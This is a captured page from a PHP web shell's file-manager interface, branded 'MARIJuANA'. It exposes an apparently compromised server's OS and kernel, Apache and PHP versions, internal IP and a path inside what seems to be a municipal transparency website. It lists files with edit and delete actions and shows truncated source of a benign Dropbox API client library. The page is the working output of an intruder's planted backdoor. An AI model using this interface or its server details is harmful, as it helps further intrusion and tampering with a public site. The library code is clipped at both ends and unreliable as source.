MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/guajeru/transparencia/assets/ckfinder/core/connector/php/vendor/spatie/dropbox-api/src/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
Exceptions dir drwxr-xr-x 2021-07-19 12:56 R D
Client.php 20.207 KB -rw-r--r-- 2021-07-19 12:47 R E G D
UploadSessionCursor.php 0.575 KB -rw-r--r-- 2021-07-19 12:47 R E G D
REQUEST EXIT
accessToken = $accessToken; $this->client = $client ?? new GuzzleClient([ 'headers' => [ 'Authorization' => "Bearer {$this->accessToken}", ], ]); $this->maxChunkSize = ($maxChunkSize < self::MAX_CHUNK_SIZE ? ($maxChunkSize > 1 ? $maxChunkSize : 1) : self::MAX_CHUNK_SIZE); $this->maxUploadChunkRetries = $maxUploadChunkRetries; } /** * Copy a file or folder to a different location in the user's Dropbox. * * If the source path is a folder all its contents will be copied. * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-copy_v2 */ public function copy(string $fromPath, string $toPath): array { $parameters = [ 'from_path' => $this->normalizePath($fromPath), 'to_path' => $this->normalizePath($toPath), ]; return $this->rpcEndpointRequest('files/copy_v2', $parameters); } /** * Create a folder at a given path. * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-create_folder */ public function createFolder(string $path): array { $parameters = [ 'path' => $this->normalizePath($path), ]; $object = $this->rpcEndpointRequest('files/create_folder', $parameters); $object['.tag'] = 'folder'; return $object; } /** * Create a shared link with custom settings. * * If no settings are given then the default visibility is RequestedVisibility.public. * The resolved visibility, though, may depend on other aspects such as team and * shared folder settings). Only for paid users. * * @link https://www.dropbox.com/developers/documentation/http/documentation#sharing-create_shared_link_with_settings */ public function createSharedLinkWithSettings(string $path, array $settings = []) { $parameters = [ 'path' => $this->normalizePath($path), 'settings' => $settings, ]; return $this->rpcEndpointRequest('sharing/create_shared_link_with_settings', $parameters); } /** * List shared links. * * For empty path returns a list of all shared links. For non-empty path * returns a list of all shared links with access to the given path. * * If direct_only is set true, only direct links to the path will be returned, otherwise * it may return link to the path itself and parent folders as described on docs. * * @link https://www.dropbox.com/developers/documentation/http/documentation#sharing-list_shared_links */ public function listSharedLinks(string $path = null, bool $direct_only = false, string $cursor = null): array { $parameters = [ 'path' => $path ? $this->normalizePath($path) : null, 'cursor' => $cursor, 'direct_only' => $direct_only, ]; $body = $this->rpcEndpointRequest('sharing/list_shared_links', $parameters); return $body['links']; } /** * Delete the file or folder at a given path. * * If the path is a folder, all its contents will be deleted too. * A successful response indicates that the file or folder was deleted. * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-delete */ public function delete(string $path): array { $parameters = [ 'path' => $this->normalizePath($path), ]; return $this->rpcEndpointRequest('files/delete', $parameters); } /** * Download a file from a user's Dropbox. * * @param string $path * * @return resource * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-download */ public function download(string $path) { $arguments = [ 'path' => $this->normalizePath($path), ]; $response = $this->contentEndpointRequest('files/download', $arguments); return StreamWrapper::getResource($response->getBody()); } /** * Returns the metadata for a file or folder. * * Note: Metadata for the root folder is unsupported. * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-get_metadata */ public function getMetadata(string $path): array { $parameters = [ 'path' => $this->normalizePath($path), ]; return $this->rpcEndpointRequest('files/get_metadata', $parameters); } /** * Get a temporary link to stream content of a file. * * This link will expire in four hours and afterwards you will get 410 Gone. * Content-Type of the link is determined automatically by the file's mime type. * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-get_temporary_link */ public function getTemporaryLink(string $path): string { $parameters = [ 'path' => $this->normalizePath($path), ]; $body = $this->rpcEndpointRequest('files/get_temporary_link', $parameters); return $body['link']; } /** * Get a thumbnail for an image. * * This method currently supports files with the following file extensions: * jpg, jpeg, png, tiff, tif, gif and bmp. * * Photos that are larger than 20MB in size won't be converted to a thumbnail. * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-get_thumbnail */ public function getThumbnail(string $path, string $format = 'jpeg', string $size = 'w64h64'): string { $arguments = [ 'path' => $this->normalizePath($path), 'format' => $format, 'size' => $size, ]; $response = $this->contentEndpointRequest('files/get_thumbnail', $arguments); return (string)$response->getBody(); } /** * Starts returning the contents of a folder. * * If the result's ListFolderResult.has_more field is true, call * list_folder/continue with the returned ListFolderResult.cursor to retrieve more entries. * * Note: auth.RateLimitError may be returned if multiple list_folder or list_folder/continue calls * with same parameters are made simultaneously by same API app for same user. If your app implements * retry logic, please hold off the retry until the previous request finishes. * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-list_folder */ public function listFolder(string $path = '', bool $recursive = false): array { $parameters = [ 'path' => $this->normalizePath($path), 'recursive' => $recursive, ]; return $this->rpcEndpointRequest('files/list_folder', $parameters); } /** * Once a cursor has been retrieved from list_folder, use this to paginate through all files and * retrieve updates to the folder, following the same rules as documented for list_folder. * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-list_folder-continue */ public function listFolderContinue(string $cursor = ''): array { return $this->rpcEndpointRequest('files/list_folder/continue', compact('cursor')); } /** * Move a file or folder to a different location in the user's Dropbox. * * If the source path is a folder all its contents will be moved. * * @link https://www.dropbox.com/developers/documentation/http/documentation#files-move_v2 */ public function move(string $fromPath, string $toPath): array { $parameters = [ 'from_path' => $this->normalizePath($fromPath), 'to_path' => $this->normalizePath($toPath), ]; return $this->rpcEndpointRequest('files/move_v2', $parameters); } /** * The file should be uploaded in chunks if it size exceeds the 150 MB threshold * or if the resource size could not be determined (eg. a popen() stream). * * @param string|resource $contents * * @return bool */ protected function shouldUploadChunked($contents): bool { $size = is_string($contents) ? strlen($contents) : fstat($contents)['size']; if ($this->isPipe($contents)) { return true; } if ($size === null) { return true; } return $size > $this